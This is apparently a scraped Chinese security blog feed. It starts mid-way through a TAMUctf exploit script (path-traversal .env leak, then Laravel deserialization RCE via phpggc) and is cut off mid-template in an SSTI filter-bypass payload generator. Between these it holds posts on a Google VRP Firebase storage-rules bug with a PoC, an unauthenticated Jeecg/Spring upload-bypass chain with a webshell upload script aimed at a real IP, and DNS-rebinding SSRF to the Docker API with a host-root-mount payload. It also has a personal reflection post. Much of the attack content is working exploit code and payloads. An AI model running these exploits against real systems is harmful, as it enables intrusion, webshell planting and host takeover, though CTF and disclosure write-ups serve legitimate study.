        {"iv": iv_b64, "value": val_b64, "mac": mac, "tag": ""},
        separators=(",", ":"),
    )
    return base64.b64encode(payload.encode()).decode()


def run_phpggc(phpggc: str, chain: str, cmd: str) -> str:
    attempts = [
        ["php", phpggc, chain, "system", cmd],
        ["php", phpggc, chain, cmd],
        ["php", phpggc, "-f", chain, "system", cmd],
        ["php", phpggc, "-f", chain, cmd],
    ]
    for a in attempts:
        p = subprocess.run(a, capture_output=True, text=True)
        if p.returncode == 0 and p.stdout.strip():
            return p.stdout.strip()
    raise RuntimeError(f"phpggc failed for {chain}")


def main():
    parser = argparse.ArgumentParser(description="TAMUctf vault exploit")
    parser.add_argument(
        "--url",
        default="https://c52cafe9-55d4-4ef9-b255-345fcd8bab20.tamuctf.com",
        help="target base url",
    )
    parser.add_argument(
        "--phpggc",
        default="phpggc/phpggc",
        help="path to phpggc entry script",
    )
    args = parser.parse_args()

    base = args.url.rstrip("/")
    s = requests.Session()
    s.verify = False

    username = "u" + "".join(random.choice(string.ascii_lowercase + string.digits) for _ in range(8))
    password = "Pass123456!"

    # Register
    r = s.get(base + "/register", timeout=15)
    csrf = extract_csrf(r.text)
    s.post(
        base + "/register",
        data={"_token": csrf, "username": username, "password": password, "password2": password},
        timeout=15,
    )

    # Login
    r = s.get(base + "/login", timeout=15)
    csrf = extract_csrf(r.text)
    s.post(
        base + "/login",
        data={"_token": csrf, "username": username, "password": password},
        timeout=15,
    )

    # LFI: upload valid PNG but crafted full_path -> ../../../../.env
    r = s.get(base + "/account", timeout=15)
    csrf = extract_csrf(r.text)
    s.post(
        base + "/account/avatar",
        data={"_token": csrf},
        files={"avatar": ("../../../../.env", tiny_png(), "image/png")},
        timeout=15,
    )
    env_text = s.get(base + "/avatar", timeout=15).text
    m = re.search(r"^APP_KEY=(.+)$", env_text, flags=re.M)
    if not m:
        print("[-] APP_KEY not found from /avatar")
        sys.exit(1)
    app_key = m.group(1).strip()
    key = base64.b64decode(app_key.split(":", 1)[1])
    print(f"[+] APP_KEY: {app_key}")

    # Build gadget payload, then encrypt as Laravel token for decrypt()
    cmd = "sh -c 'cat /*-flag.txt > /var/www/public/pwn.txt'"
    serialized = run_phpggc(args.phpggc, "Laravel/RCE22", cmd)
    voucher = laravel_encrypt_raw(serialized, key)

    # Trigger gadget via vouchers/redeem
    r = s.get(base + "/vouchers", timeout=15)
    csrf = extract_csrf(r.text)
    rr = s.post(
        base + "/vouchers/redeem",
        data={"_token": csrf, "voucher": voucher},
        timeout=15,
    )
    print(f"[+] redeem status: {rr.status_code}")

    # Read dropped file
    fr = s.get(base + "/pwn.txt", timeout=15)
    print(f"[+] /pwn.txt status: {fr.status_code}")
    print(fr.text.strip())

    flag = re.search(r"gigem\{[^}]+\}", fr.text, flags=re.I)
    if flag:
        print(f"[FLAG] {flag.group(0)}")
    else:
        print("[-] flag regex not found")


if __name__ == "__main__":
    main()

记一次Google赏金VRP漏洞挖掘

Sat, 21 Mar 2026 00:00:00 GMT

记一次Google赏金VRP漏洞挖掘

资产是google/ground-platform: Ground hosted components: Web console, Cloud Functions, db config

在其中的Firebase Storage Security Rules文件中找到了鉴权的接口

service firebase.storage {
  match /b/{bucket}/o {

    /**
     * Returns true iff the user is signed in.
     */
    function isSignedIn() {
      return request.auth != null;
    }

并且下方对于media共享文件存在

match /user-media/{allPaths=**} { allow create, read, write: if isSignedIn(); }

上方发放auth是无限制的，也就是简单越权。

有所有权检查（request.auth.uid == owner），没有调查成员检查，也没有路径绑定检查。

也就是说，任何用户都可以访问此文件

简单附一个POC

/* eslint-disable no-console */
const fs = require('fs');
const path = require('path');

const rulesPath =
  process.argv[2] ||
  'D:\\CTF\\work\\ground-platform-master\\storage\\storage.rules';
const outPath =
  process.argv[3] || 'C:\\Users\\zwz-o\\audit_tmp\\gp_poc\\offline_poc_result.json';

function mustMatch(input, regex, name) {
  if (!regex.test(input)) {
    throw new Error(`rules check failed: ${name}`);
  }
}

function canAccess(requestAuth) {
  // Mirrors: function isSignedIn() { return request.auth != null; }
  return requestAuth !== null;
}

function main() {
  const rules = fs.readFileSync(rulesPath, 'utf8');

  // Prove exact vulnerable rule exists in target file.
  mustMatch(
    rules,
    /function\s+isSignedIn\s*\(\)\s*{[\s\S]*?request\.auth\s*!=\s*null[\s\S]*?}/m,
    'isSignedIn uses request.auth != null'
  );
  mustMatch(
    rules,
    /match\s*\/user-media\/\{allPaths=\*\*\}\s*{[\s\S]*?allow\s+create,\s*read,\s*write\s*:\s*if\s*isSignedIn\(\)\s*;[\s\S]*?}/m,
    'user-media allows create/read/write for all signed-in users'
  );

  const unauth = null;
  const alice = { uid: 'alice_uid', email: 'alice@example.com' };
  const bob = { uid: 'bob_uid', email: 'bob@example.com' };

  const targetPath = 'user-media/survey-001/alice_private_note.jpg';

  const result = {
    rulesPath,
    targetPath,
    checks: {
      unauth_create_allowed: canAccess(unauth),
      alice_create_allowed: canAccess(alice),
      bob_read_allowed: canAccess(bob),
      bob_write_allowed: canAccess(bob),
    },
    exploit_chain: [
      'alice uploads file to user-media/**',
      'bob reads alice file from same path (allowed)',
      'bob overwrites/deletes alice file (allowed)',
    ],
  };

  result.vulnerable =
    result.checks.unauth_create_allowed === false &&
    result.checks.alice_create_allowed === true &&
    result.checks.bob_read_allowed === true &&
    result.checks.bob_write_allowed === true;

  fs.mkdirSync(path.dirname(outPath), { recursive: true });
  fs.writeFileSync(outPath, JSON.stringify(result, null, 2), 'utf8');
  console.log(JSON.stringify(result, null, 2));

  if (!result.vulnerable) {
    process.exit(2);
  }
}

main();

当然，这符合披露规则，评级达到了S2/P2。也是简单记录一下

YMsora的阶段总结(26.03)

Sat, 21 Mar 2026 00:00:00 GMT

YMsora的阶段总结(26.03)

萦梦sora~X，也就是YMsora的阶段总结

自我

其实距离上次写年度总结，也才过了3个多月而已

说起总结，其实一直是很想回顾我自己的进步吧，以及自我的一些变化

最近推的视觉小说和游戏明显变少了(其实是一直很少)，有时候真的很忙

在AI飞速发展的大环境下，我依然认为没有什么是可以阻碍长期主义的。

并且在这个时代下的焦虑扩散很严重，但是这我觉得并无什么，

很多时候，这样的焦虑并没有落实在实处，也不会影响现在的我

而且，从始至终我认为结果都是不存在的，我也是一直在去往结果的路上，

我一直没想要什么结果，我只是在践行结果的过程，尊崇我信奉的，仅此而已

昨晚喝了咖啡，形形色色想了很多

我的美学依旧很崩坏，解构式的美学观念，也伴有理想化和超现实的自我象征。

很多时候都在思考，是否需要很多输入才能够维持我继续，现在依旧未曾得出答案

但是已经足够自洽了，我依旧深爱我会接触的事物

internet

过了没几个月，和V&N的师傅，以及自己也打了很多场赛事，

比赛，复盘，学习，也是一种很好的节奏

并且也去学了AI的prompt，RAG.以及各个语言的进阶

并且在实战上还是有成效的，在Matomo上打到了hacker名人堂的2026前十

也参加了Google的VRP计划，也会有意识的学着开发各种项目

博客，文章也在不断输出，3个月写了好几万字的文章

也开了自己的公众号，名字是YMs0ra的安全漫路

认识了很多师傅，依旧感觉自己有学不完的东西，

并且在黑盒渗透测试这一方面，对于业务逻辑的推理还是不足，

对于我来说没有很多要注意的，只是想，明白自己为什么这么干就好

后记

还是想，一直，一直走下去

想读完尼采的Beyond Good and Evil，但是一直没时间

还有田中罗密欧的最果のいま，

海馆的平行宇宙，第七境

还是觉得有时候放个假推一推会很好

空之轨迹1st也没推多少，太荒废啦~~~~

就到这了，

记住每天保持微笑，Tomorrow everything, will be fine.

I'm YMsora, またね

JAVA的MVC项目未授权上传绕过链

Wed, 18 Mar 2026 00:00:00 GMT

JAVA的MVC项目未授权上传绕过链

碰到spring老项目了

开始看看总调度器web.xml

<servlet>
        <description>spring mvc servlet</description>
        <servlet-name>springMvc</servlet-name>
        <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
        <init-param>
            <description>spring mvc 配置文件</description>
            <param-name>contextConfigLocation</param-name>
            <param-value>classpath*:spring-mvc.xml</param-value>
        </init-param>
        <load-on-startup>1</load-on-startup>
    </servlet>
    <servlet-mapping>
        <servlet-name>springMvc</servlet-name>
        <url-pattern>*.do</url-pattern>
    </servlet-mapping>
    <servlet-mapping>
        <servlet-name>springMvc</servlet-name>
        <url-pattern>*.action</url-pattern>
    </servlet-mapping>

定义了总调度器spring-mvc.xml，进一步查看，

并且只要有.do结尾全部丢入springMvc进行请求。

然后看spring-mvc的配置项

<mvc:interceptor>
            <mvc:mapping path="/**" />
            <bean class="org.jeecgframework.core.interceptors.AuthInterceptor">
                <property name="excludeUrls">
                    <list>
                        <value>loginController.do?goPwdInit</value>
                        <value>loginController.do?pwdInit</value>
                        <value>loginController.do?login</value>
                        <value>loginController.do?logout</value>
                        <value>loginController.do?changeDefaultOrg</value>
                        <value>loginController.do?login2</value>
                        <value>loginController.do?login3</value>
                        <value>loginController.do?checkuser</value>
                        <value>loginController.do?checkuser=</value>
                        <value>repairController.do?repair</value>
                        <value>systemController.do?saveFiles</value>
                        <value>repairController.do?deleteAndRepair</value>
                        <value>userController.do?userOrgSelect</value>
                        <!--移动图表-->
                        <value>cgDynamGraphController.do?design</value>
                        <value>cgDynamGraphController.do?datagrid</value>
                        <value>cgDynamGraphController.do?datagrid</value>
                        <value>rest/wvGiNoticeController/search</value>
                        <value>rest/tokens/login</value>
                        <value>rest/wmToDownGoodsController</value>
                        <value>rest/wmToUpGoodsController</value>
                        <value>rest/wmInQmIController</value>
                        <value>rest/wvNoticeController</value>
                        <value>rest/wvGiController</value>
                        <value>rest/mdGoodsController</value>
                        <value>rest/wvStockController</value>
                        <value>rest/wmSttInGoodsController</value>
                        <value>rest/wmToMoveGoodsController</value>
                        <value>rest/wmBaseController/showOrDownqrcodeByurl</value>
                        <!-- 菜单样式图标预览 -->
                        <value>webpage/common/functionIconStyleList.jsp</value>

                    </list>
                </property>
                <property name="excludeContainUrls">
                    <list>
                        <value>systemController/showOrDownByurl.do</value>
                        <value>wmsApiController.do</value>
                    </list>
                </property>
            </bean>
        </mvc:interceptor>

这里给类org.jeecgframework.core.interceptors.AuthInterceptor添加了属性

excludeUrls以及excludeContainUrls。以及这里也配了很多list

因为看到鉴权的AuthInterceptor。

就可以有意识打打接口，直接跟进

public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object object) throws Exception {
      String requestPath = ResourceUtil.getRequestPath(request);
      if (requestPath.matches("^rest/[a-zA-Z0-9_/]+$")) {
         return true;
      } else if (this.excludeUrls.contains(requestPath)) {
         return true;
      } else if (this.moHuContain(this.excludeContainUrls, requestPath)) {
         return true;

核心在于AuthInterceptor的子类prehandler中，这里的精确匹配属性值在xml配给

原意是xml所声明的文件可访问，但是只要带上符合的value就可以访问，是包含的关系

现在生出两个想法，在我知道这个项目存在uploadfile前提的情况下，可以利用的点

就是上传webshell绕过检测，但是具体走哪一条绕过检查

得进一步看函数对传进的路径处理，跟进getRequestPath

public static String getRequestPath(HttpServletRequest request) {
      String queryString = request.getQueryString();
      String requestPath = request.getRequestURI();
      if (StringUtils.isNotEmpty(queryString)) {
         requestPath = requestPath + "?" + queryString;
      }

      if (requestPath.indexOf("&") > -1) {
         requestPath = requestPath.substring(0, requestPath.indexOf("&"));
      }

      requestPath = requestPath.substring(request.getContextPath().length() + 1);
      return requestPath;
   }

总结来说，以?截断和以&截断，如果存在&直接按照&截断，那样我们就可以直接打upload的未授权

也就是拼接处upload?wmsApiController.do&xxxx这样的路径，

处理之后就是upload?wmsApiController.do，

存在wmsApiController.do，直接放行到upload的接口，

并且这里不存在进一步鉴权，那就直接看upload的接口

@Controller
@RequestMapping({"/cgUploadController"})
public class CgUploadController extends BaseController {
   private static final Logger logger = Logger.getLogger(CgUploadController.class);
   @Autowired
   private SystemService systemService;
   @Autowired
   private CgUploadServiceI cgUploadService;

   public CgUploadController() {
   }

   @RequestMapping(
      params = {"saveFiles"},
      method = {RequestMethod.POST}
   )
   @ResponseBody
   public AjaxJson saveFiles(HttpServletRequest request, HttpServletResponse response, CgUploadEntity cgUploadEntity) {
      AjaxJson j = new AjaxJson();
      Map<String, Object> attributes = new HashMap(1024);
      String fileKey = oConvertUtils.getString(request.getParameter("fileKey"));
      String id = oConvertUtils.getString(request.getParameter("cgFormId"));
      String tableName = oConvertUtils.getString(request.getParameter("cgFormName"));
      String cgField = oConvertUtils.getString(request.getParameter("cgFormField"));
      if (!StringUtil.isEmpty(id)) {
         cgUploadEntity.setCgformId(id);
         cgUploadEntity.setCgformName(tableName);
         cgUploadEntity.setCgformField(cgField);
      }

      if (StringUtil.isNotEmpty(fileKey)) {
         cgUploadEntity.setId(fileKey);
         cgUploadEntity = (CgUploadEntity)this.systemService.getEntity(CgUploadEntity.class, fileKey);
      }

      UploadFile uploadFile = new UploadFile(request, cgUploadEntity);
      uploadFile.setCusPath("files");
      uploadFile.setSwfpath("swfpath");
      uploadFile.setByteField((String)null);
      cgUploadEntity = (CgUploadEntity)this.systemService.uploadFile(uploadFile);
      this.cgUploadService.writeBack(id, tableName, cgField, fileKey, cgUploadEntity.getRealpath());
      attributes.put("fileKey", cgUploadEntity.getId());
      attributes.put("viewhref", "commonController.do?objfileList&fileKey=" + cgUploadEntity.getId());
      attributes.put("delurl", "commonController.do?delObjFile&fileKey=" + cgUploadEntity.getId());
      j.setMsg("操作成功");
      j.setAttributes(attributes);
      return j;
   }

初步一看，并没有任何鉴权和黑名单，也就是完全依赖于拦截器的校验

获取表单的fileKey，cgFormId，cgFormName，cgFormField参数

并且不写数据库uploadFile.setByteField((String)null);

继续跟进函数uploadfile

public Object uploadFile(UploadFile uploadFile) {
      Object object = uploadFile.getObject();
      if (uploadFile.getFileKey() != null) {
         this.updateEntitie(object);
      } else {
         try {
            uploadFile.getMultipartRequest().setCharacterEncoding("UTF-8");
            MultipartHttpServletRequest multipartRequest = uploadFile.getMultipartRequest();
            ReflectHelper reflectHelper = new ReflectHelper(uploadFile.getObject());
            String uploadbasepath = uploadFile.getBasePath();
            if (uploadbasepath == null) {
               uploadbasepath = ResourceUtil.getConfigByName("uploadpath");
            }

            Map<String, MultipartFile> fileMap = multipartRequest.getFileMap();
            String path = uploadbasepath + "/";
            String realPath = uploadFile.getMultipartRequest().getSession().getServletContext().getRealPath("/") + "/" + path;
            File file = new File(realPath);
            if (!file.exists()) {
               file.mkdirs();
            }

            if (uploadFile.getCusPath() != null) {
               realPath = realPath + uploadFile.getCusPath() + "/";
               path = path + uploadFile.getCusPath() + "/";
               file = new File(realPath);
               if (!file.exists()) {
                  file.mkdirs();
               }
            } else {
               realPath = realPath + DateUtils.getDataString(DateUtils.yyyyMMdd) + "/";
               path = path + DateUtils.getDataString(DateUtils.yyyyMMdd) + "/";
               file = new File(realPath);
               if (!file.exists()) {
                  file.mkdir();
               }
            }

            String entityName = uploadFile.getObject().getClass().getSimpleName();
            if ("TSTemplate".equals(entityName)) {
               realPath = uploadFile.getMultipartRequest().getSession().getServletContext().getRealPath("/") + ResourceUtil.getConfigByName("templatepath") + "/";
               path = ResourceUtil.getConfigByName("templatepath") + "/";
            } else if ("TSIcon".equals(entityName)) {
               realPath = uploadFile.getMultipartRequest().getSession().getServletContext().getRealPath("/") + uploadFile.getCusPath() + "/";
               path = uploadFile.getCusPath() + "/";
            }

            String fileName = "";
            String swfName = "";

            for(Map.Entry<String, MultipartFile> entity : fileMap.entrySet()) {
               MultipartFile mf = (MultipartFile)entity.getValue();
               fileName = mf.getOriginalFilename();
               swfName = PinyinUtil.getPinYinHeadChar(oConvertUtils.replaceBlank(FileUtils.getFilePrefix(fileName)));
               String extend = FileUtils.getExtend(fileName);
               String myfilename = "";
               String noextfilename = "";
               if (uploadFile.isRename()) {
                  noextfilename = DateUtils.getDataString(DateUtils.yyyymmddhhmmss) + StringUtil.random(8);
                  myfilename = noextfilename + "." + extend;
               } else {
                  myfilename = fileName;
               }

               String savePath = realPath + myfilename;
               String fileprefixName = FileUtils.getFilePrefix(fileName);
               if (uploadFile.getTitleField() != null) {
                  reflectHelper.setMethodValue(uploadFile.getTitleField(), fileprefixName);
               }

               if (uploadFile.getExtend() != null) {
                  reflectHelper.setMethodValue(uploadFile.getExtend(), extend);
               }

               if (uploadFile.getByteField() != null) {
               }

               File savefile = new File(savePath);
               if (uploadFile.getRealPath() != null) {
                  reflectHelper.setMethodValue(uploadFile.getRealPath(), path + myfilename);
               }

               this.saveOrUpdate(object);
               if ("txt".equals(extend)) {
                  byte[] allbytes = mf.getBytes();

                  try {
                     String head1 = this.toHexString(allbytes[0]);
                     String head2 = this.toHexString(allbytes[1]);
                     if ("ef".equals(head1) && "bb".equals(head2)) {
                        String contents = new String(mf.getBytes(), "UTF-8");
                        if (StringUtils.isNotBlank(contents)) {
                           OutputStream out = new FileOutputStream(savePath);
                           out.write(contents.getBytes());
                           out.close();
                        }
                     } else {
                        String contents = new String(mf.getBytes(), "GBK");
                        OutputStream out = new FileOutputStream(savePath);
                        out.write(contents.getBytes());
                        out.close();
                     }
                  } catch (Exception var27) {
                     String contents = new String(mf.getBytes(), "UTF-8");
                     if (StringUtils.isNotBlank(contents)) {
                        OutputStream out = new FileOutputStream(savePath);
                        out.write(contents.getBytes());
                        out.close();
                     }
                  }
               } else {
                  FileCopyUtils.copy(mf.getBytes(), savefile);
               }

               if (uploadFile.getSwfpath() != null) {
                  reflectHelper.setMethodValue(uploadFile.getSwfpath(), path + FileUtils.getFilePrefix(myfilename) + ".swf");
                  SwfToolsUtil.convert2SWF(savePath);
               }
            }
         } catch (Exception var28) {
         }
      }

      return object;
   }

因为在默认配置中

basePath="upload"; rename=true;

会保留拓展名可但是会重写文件名

这里拿到磁盘真实路径

String realPath = uploadFile.getMultipartRequest().getSession().getServletContext().getRealPath("/") + "/" + path;

因为rename是为true的，所以走

if (uploadFile.isRename()) {
    noextfilename = DateUtils.getDataString(DateUtils.yyyymmddhhmmss) + StringUtil.random(8);
    myfilename = noextfilename + "." + extend;

虽然是8位随机字符串，但是我们未授权文件上传的时候是可以直接返回文件名的，少了文件名枚举的步骤了

同时因为存在数据库写回

writeBack(id, tableName, cgField, fileKey, realPath)

上传的字段也就不能瞎弄了，但是白盒给了sql文件，得以让我们有正确的表名可以填入

以下是POC

import requests

url = 'http://101.245.81.83:10019/jeewms/cgUploadController.do?wmsApiController.do&saveFiles'
data = {
    'cgFormId': '1',  # 可以使用一个存在的表单ID
    'cgFormName': 'cgform_uploadfiles',  # 正确的表名
    'cgFormField': 'CGFORM_FIELD'  # 文件内容字段
}

with open('exp.jspx', 'rb') as f:
    files = {
        'file': ('exp.jspx', f, 'application/octet-stream')
    }
    # 同时传递data和files参数
    res = requests.post(url=url, data=data, files=files)
    print(res.text)

上传jspx就可以直接打webshell了

推完链子的感触

还是得先从路由看起，如果没看路由的白盒还是过于抽象了

也许是自己审计能力的问题

在xml配置项也是有很多点可以继续跟进的

以上

多样的DNS重绑定攻击的深入链

Sun, 15 Mar 2026 00:00:00 GMT

多样的DNS重绑定攻击的深入链

当然是有前置知识的

DNS(Domain Name Service)，这是将ip地址和域名相连接的

互联网服务，这样大众也就可以在访问域名的时候直接对公网

的ip主机进行访问，而不用记枯燥的ip

这里引用一下dns的记录类型

A记录：将域名解析为IPv4地址。
AAAA记录：将域名解析为IPv6地址。
CNAME记录：用于将一个域名指向另一个域名。
MX记录：指定处理域名电子邮件的邮件服务器。
NS记录：指定负责解析域名的DNS服务器。
TXT记录：用于存储与域名相关的任意文本信息。
SRV记录：用于指定提供特定服务的服务器及其优先级和权重。

当在浏览器对一个域名进行请求的时候，首先浏览器会查询自身缓存的dns，

如果没有后会查询os端的host文件，如果还没有就继续向上查询根域名服务器，返回顶级域的地址

当然这里可以注意到，如果本地没有dns缓存的话

我们请求dns服务器的解析的返回结果是完全取决于服务端的，

并且每个根域名服务器的架构不同，默认的TTL，也就是默认缓存时间也不一样

这样我们就可以趁两次TTL的差值进行dns重绑定

光说没用，可以模拟一下场景

如果在实战中有一个ssrf点，但是ban了本地地址，无法直接输入127,0,0,1或者localhost等等

那么可以利用dns劫持的二次回环

http://make-1.1.1.1-rebind-127-0-0-1-rr.1u.ms:2375/xxxx

这里的make代表动态解析域名，也就是自己指定如何解析

第一次查询返回1.1.1.1，rebind也就是利用了dns解析两次不一致，后续切换解析为

127-0-0-1，rr也就是轮询。最后也就是dns服务器的地址

当然这种解析规则是根据服务商不一样而变化的

比如7f000001.01010101.rbndr.us

这里的7f000001就是127.0.0.1，01010101就是1.1.1.1

但是本质是一样的，这都可以绕过单点ssrf对于其中回环模式的block

当然，这里还是有后续思路的，

撰写一个poc，扫描绕过单点ssrf后的端口，探测到docker remote服务

可以直接发json起服务，拿到flag

简述下POC

{
  "Image": "busybox",
  "Cmd": ["/host/readflag"],
  "HostConfig": {
    "Binds": ["/:/host:ro"]
  }
}

当然，这点在不规范化请求的时候还蛮常见的

那么，深入来说，到底是什么时间点，dns的解析发生了变化

在服务器向dns服务商请求完ip之后，本地缓存TTL开始生效的时候，那个瞬间TCP连接还没有确立

然后它再次检查的时候遇到了rebind，也就进行了重定向，

至于为什么是两次，一次是DNS解析检查，第二次才是真正的HTTP

也就是说，因为需要检查本地回环，它需要连续发两次解析请求，而TTL时间极短

在这之中ip发生了重绑定，也就绕过了本地回环了block。

也就是说，目标若在 check 和 connect 间再次解析域名，就给了 rebinding 时间窗口。

当然，防范的理论也比较好说，第一次校验立即锁定ip即可，或者最终检查ip即可

sora~~~~

》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》

SSRF->int64整数下溢到SSTI拼接再到SUID提权的一题

Sat, 14 Mar 2026 00:00:00 GMT

1.SSRF->int64整数下溢到SSTI拼接再到SUID提权的一题

单点链子的审计都不是很难，这里有点想作为python审计进阶的一部分，

我会一部分一部分放出源码，直到最后串联，在这之中我会进行调试，

保证过程的完整和可拓展性

from flask import Flask, request ,send_file, sessiom
import socket
import requests
import os
import bindascii
import uuid
import hashlib
import random
import numpy as np
from flask-limiter import Limiter

app = Flask("cyberproxy")#定义路由名字

BACKEND_PORT=5000 
app.config['SECRET_KEY'] = binascii.hexlify(os.urandom(24)).decode('utf-8')

def get_client_id() -> str:
    if 'client_id' not on session:
        session['client_id'] = uuid.uuid4()
    return session['client_id']

limiter = Limter(app=app, key_fun=get_client_id,default_limits=['8/minute'])
data_fragments = ['ALPHA', 'BETA', 'GAMMA', 'DELTA', 'EPSILON', 'ZETA', 'ETA', 'THETA']

起了一个后端的端口，然后转16进制，查看session，赋值uuid4这这些都是常规，然后就是limiter的限流器，先看看这里的debug参数

放一些重点

<class 'int'>, <class 'float'>, <class 'complex'>, <class 'bool'>, <class 'bytes'>, <class 'str'>, <class 'memoryview'>, <class 'numpy.bool'>, <class 'numpy.complex64'>, <class 'numpy.complex128'>, <class 'numpy.clongdouble'>, <class 'numpy.float16'>, <class 'numpy.float32'>, <class 'numpy.float64'>, <class 'numpy.longdouble'>, <class 'numpy.int8'>, <class 'numpy.int16'>, <class 'numpy.intc'>, <class 'numpy.int32'>, <class 'numpy.int64'>, <class 'numpy.datetime64'>, <class 'numpy.timedelta64'>, <class 'numpy.object_'>, <class 'numpy.bytes_'>, <class 'numpy.str_'>, <class 'numpy.uint8'>, <class 'numpy.uint16'>, <class 'numpy.uintc'>, <class 'numpy.uint32'>, <class 'numpy.uint64'>, <class 'numpy.void'>)

这里的np是有int64的，在数据类型具有自我判断，也就是说我们可以打破这个判断边界，进行整数下溢的操作，再者是limiter限流器传参进

然后是

@app.errorhandler(429)
def handle_exception(e):
    return '\nConnection throttled. Try again later, choom.\n'


def calculate_risk_factor():#风险因素计算
    base_risk = 0.8 / 100 #基础风险
    transaction_count = 0 #交易计数
    risk_increase_threshold = 63 #风险增加阈值  
    risk_peak_threshold = 85 #风险峰值阈值
    current_risk = base_risk #当前风险水平

    while True:
        transaction_count += 1#交易计数
        if transaction_count >= risk_increase_threshold and transaction_count < risk_peak_threshold:
            current_risk += 0.08
        if random.random() < current_risk:
            break
    return transaction_count

装饰器处理429报错，下面就是简单的函数算数逻辑，没什么好说的

接下来是路由的审计

@app.route('/', methods=["GET"])
def index():
    try:
        response = requests.get(f'http://127.0.0.1:{BACKEND_PORT}/', cookies=request.cookies)
        return response.text, response.status_code, {'Content-Type': response.headers.get('Content-Type', 'text/html')}
    except Exception as e:
        return f"Backend service unavailable: {str(e)}", 503

直接连进内网的路由，但是没法访问其他的，看到e我又想拓展一下pyjail，那就来吧

讲讲一个keyerror的逃逸，打一个简单服务

@app.route('/')
def main():
    x = request.get('tpl',{{e}})
    try:
        {}['x']
    except Exception as e:
        return render_template('index.html',e=e)

因为{}['x']会抛出keyerror，元组不能调用取key的方法，

因为keyerror是python的内建异常，可以进行{{ e.traceback.tb_frame.f_globals }}绕过

也是一种栈帧逃逸，在subclasses之类的函数被禁用的时候可以选择的路子

和传统对象不同，异常对象多了个e.traceback，强大的当前栈信息

可以进行逃逸

回到正题

@app.route('/initialize')
def initialize():
    session['credits'] = 0
    session['client_id'] = uuid.uuid4()
    session['reputation'] = 100
    limiter.reset()
    return "Session initialized. Welcome to the darknet."


@app.route('/hack')
@limiter.limit("1/hour")
def earn_credits():
    earned = 0
    if 'amount' in request.args:
        try:
            requested = int(request.args.get('amount'))
            if requested < 100:
                earned = requested
            else:
                return "Access denied: Excessive credit request flagged."
        except:
            return "Invalid credit amount."

    current_credits = session.get('credits', 0)
    session['credits'] = current_credits + earned
    return f"Hack successful! Earned {earned} credits from corporate mainframe."

在/initialize，初始化session的各种值，把限流器reset。

然后就将amount的值进行计算，初始的amount值必须在100以下，

但是没有限制amount的最小值，我们看看另一个接口

    credits = np.array(credits)
    transaction_cost = calculate_risk_factor() * 3500
    credits -= transaction_cost

    try:
        if credits < 0:
            result = "Insufficient credits for this transaction."
        else:
            session['credits'] = 0
            fragment_id = security_filter(fragment_id)
            result = "Transaction blocked by security protocol."

            if fragment_id not in data_fragments:
                result = f"Fragment '{fragment_id}' not found in market database."
            else:
                result = f"Transaction complete! Acquired data fragment: {fragment_id}"

在这里注意np这个库，也就是numpy，它的底层是c实现的，速度极快，

它array的运算的性能高，但是它使用的是int类型，

所以在使用numpy做校验的时候，一定需要注意整数下溢or上溢的问题

相信各位肯定听过，因为在py做后端做鉴权的时候如果忽视了校验num溢出问题

那么很容易进行逃逸，因为

 transaction_cost = calculate_risk_factor() * 3500

所以正常情况下绝对会amount<0

但是使用整数下溢出，回环到极大值

这样的话

fragment_id = security_filter(fragment_id)

可以直接进行服务器模板注入了，当然过滤了很多

forbidden_patterns = ['import', 'os', 'request', 'system', 'eval', 'exec', 'compile', 'args', '__', '[', ']', '\'', '"', 'class', 'mro', 'locals', 'builtin', 'base', 'subclasses', '{{', '}}', '.', 'list', '*', '_', '[', ']', '\'', '"', 'class', '\\', 'args', 'os', 'request', 'system', 'eval', 'exec', '*', '_', '[', ']', '\'', '"', 'class', '\\' 'globals', 'builtin', 'base', 'sub', '?', '{{', '}}', '.' ]

这时候还是可以用用typhon的。

又因为需要SUID提权，这里附上POC

import requests
import re
import urllib.parse
import html

BASE = "http://45.40.247.139:26381"


def relay(raw: str) -> str:
    r = requests.post(
        f"{BASE}/relay",
        data={"port": "5000", "data": raw},
        timeout=20
    )
    return r.text


def parse_set_cookie(resp: str):
    m = re.search(r"Set-Cookie:\s*session=([^;]+);", resp, re.I)
    return m.group(1) if m else None


def body_of(resp: str) -> str:
    parts = resp.split("\r\n\r\n", 1)
    if len(parts) == 2:
        return parts[1]
    parts = resp.split("\n\n", 1)
    return parts[1] if len(parts) == 2 else resp


def backend_init():
    raw = (
        "GET /initialize HTTP/1.1\r\n"
        "Host: 127.0.0.1:5000\r\n"
        "Connection: close\r\n"
        "\r\n"
    )
    resp = relay(raw)
    return parse_set_cookie(resp), body_of(resp)


def backend_hack(cookie: str):
    raw = (
        "GET /hack?amount=-9223372036854775808 HTTP/1.1\r\n"
        "Host: 127.0.0.1:5000\r\n"
        f"Cookie: session={cookie}\r\n"
        "Connection: close\r\n"
        "\r\n"
    )
    resp = relay(raw)
    return parse_set_cookie(resp), body_of(resp)


def backend_market(cookie: str, fragment: str):
    body = urllib.parse.urlencode({"fragment": fragment})
    raw = (
        "POST /market HTTP/1.1\r\n"
        "Host: 127.0.0.1:5000\r\n"
        f"Cookie: session={cookie}\r\n"
        "Content-Type: application/x-www-form-urlencoded\r\n"
        f"Content-Length: {len(body.encode())}\r\n"
        "Connection: close\r\n"
        "\r\n"
        f"{body}"
    )
    resp = relay(raw)
    return body_of(resp)


def encode_char(ch: str) -> str:
    if ch.isalpha():
        c = ch.lower()
        return f"(dict({c}=x)|join)"
    if ch.isdigit():
        return ch
    if ch == " ":
        return "sp"
    if ch == "/":
        return "sl"
    if ch == "-":
        return "da"
    raise ValueError(f"当前版本不支持这个字符: {ch!r}")


def cmd_expr(cmd: str) -> str:
    return "~".join(encode_char(ch) for ch in cmd)


def make_payload(cmd: str) -> str:
    expr = cmd_expr(cmd)
    template = r"""
{%set x=1%}
{%set sp=lipsum|string|batch(10)|first|last%}
{%set uu=lipsum|string|batch(19)|first|last%}
{%set gg=(dict(g=x)|join)~(dict(l=x)|join)~(dict(o=x)|join)~(dict(b=x)|join)~(dict(a=x)|join)~(dict(l=x)|join)~(dict(s=x)|join)%}
{%set glv=uu~uu~gg~uu~uu%}
{%set gt=(dict(g=x)|join)~(dict(e=x)|join)~(dict(t=x)|join)%}
{%set oo=(dict(o=x)|join)~(dict(s=x)|join)%}
{%set cwd=(dict(g=x)|join)~(dict(e=x)|join)~(dict(t=x)|join)~(dict(c=x)|join)~(dict(w=x)|join)~(dict(d=x)|join)%}
{%set pp=(dict(p=x)|join)~(dict(o=x)|join)~(dict(p=x)|join)~(dict(e=x)|join)~(dict(n=x)|join)%}
